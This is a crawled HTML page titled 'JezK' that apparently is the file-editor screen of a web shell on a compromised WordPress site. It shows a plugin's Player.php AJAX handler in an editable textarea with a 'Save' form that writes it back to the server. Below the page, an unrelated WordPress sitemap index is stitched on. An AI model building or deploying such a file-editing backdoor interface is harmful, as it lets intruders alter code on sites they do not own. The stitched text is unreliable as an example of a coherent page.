
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>JezK</title>
<style>
    body {
        font-family: Arial, sans-serif;
        margin: 0;
        padding: 0;
    }
    #container {
        max-width: 800px;
        margin: 20px auto;
        padding: 20px;
        border: 1px solid #ccc;
        border-radius: 5px;
        background-color: #f9f9f9;
    }
    h1 {
        text-align: center;
        color: #333;
    }
    h2 {
        margin-top: 30px;
        color: #555;
    }
    ul {
        list-style-type: none;
        padding: 0;
    }
    li {
        margin-bottom: 10px;
    }
    a {
        text-decoration: none;
        color: #007bff;
    }
    a:hover {
        text-decoration: underline;
    }
    form {
        margin-top: 20px;
    }
    input[type="text"], input[type="file"], input[type="submit"] {
        margin-bottom: 10px;
    }
    hr {
        border: 0;
        height: 1px;
        background-color: #ccc;
        margin-top: 20px;
        margin-bottom: 20px;
    }
</style>
</head>
<body>
<div id="container">
    <h1>JezK</h1>
    <h2>Edit File: Player.php</h2><form method="post"><textarea name="file_content" rows="10" cols="50">&lt;?php

namespace PrestoPlayer\Services;

use PrestoPlayer\Contracts\Service;

class Player implements Service {

	public function register() {
		// ajax percentage actions
		add_action( &#039;wp_ajax_presto_player_progress_percent&#039;, array( $this, &#039;progressAjaxPercent&#039; ) );
		add_action( &#039;wp_ajax_nopriv_presto_player_progress_percent&#039;, array( $this, &#039;progressAjaxPercent&#039; ) );

		add_action( &#039;wp_ajax_nopriv_presto_refresh_progress_nonce&#039;, array( $this, &#039;generateNonce&#039; ) );
		add_action( &#039;wp_ajax_presto_refresh_progress_nonce&#039;, array( $this, &#039;generateNonce&#039; ) );
	}

	// refresh nonce
	public function generateNonce() {
		return wp_send_json_success( wp_create_nonce( &#039;wp_rest&#039; ) );
	}

	/**
	 * Run ajax percent action
	 *
	 * @return void
	 */
	public function progressAjaxPercent() {
		$response = $this-&gt;progressAction();
		if ( is_wp_error( $response ) ) {
			wp_send_json_error( $response-&gt;get_error_message(), $response-&gt;get_all_error_data( &#039;status&#039; ) );
		}

		return wp_send_json_success();
	}

	/**
	 * Run the progress action
	 *
	 * @return bool|\WP_Error
	 */
	public function progressAction() {
		// verify nonce
		if ( ! wp_verify_nonce( $_POST[&#039;nonce&#039;] ?? &#039;&#039;, &#039;wp_rest&#039; ) ) {
			return new \WP_Error( &#039;invalid&#039;, &#039;Nonce invalid&#039;, array( &#039;status&#039; =&gt; 403 ) );
		}

		// video id is required
		if ( empty( $_POST[&#039;id&#039;] ) ) {
			return new \WP_Error( &#039;invalid&#039;, &#039;You must provide a valid video id&#039;, array( &#039;status&#039; =&gt; 400 ) );
		}

		// must have a valid percentage
		if ( ! isset( $_POST[&#039;percent&#039;] ) ) {
			return new \WP_Error( &#039;invalid&#039;, &#039;You must provide a valid percentage&#039;, array( &#039;status&#039; =&gt; 400 ) );
		}

		$id         = (int) $_POST[&#039;id&#039;];
		$percent    = (int) $_POST[&#039;percent&#039;];
		$visit_time = isset( $_POST[&#039;visit_time&#039;] ) ? (int) $_POST[&#039;visit_time&#039;] : false;

		/**
		 * Progress event, sends video id and percent progress
		 */
		do_action( &#039;presto_player_progress&#039;, $id, $percent, $visit_time );

		// success
		return true;
	}
}
</textarea><br><input type="submit" value="Save"></form></div>
</body>
</html>

<?xml version="1.0" encoding="UTF-8"?>
<?xml-stylesheet type="text/xsl" href="https://looker.af/wp-sitemap-index.xsl" ?>
<sitemapindex xmlns="http://www.sitemaps.org/schemas/sitemap/0.9"><sitemap><loc>https://looker.af/wp-sitemap-posts-post-1.xml</loc></sitemap><sitemap><loc>https://looker.af/wp-sitemap-posts-page-1.xml</loc></sitemap><sitemap><loc>https://looker.af/wp-sitemap-taxonomies-category-1.xml</loc></sitemap><sitemap><loc>https://looker.af/wp-sitemap-users-1.xml</loc></sitemap></sitemapindex>
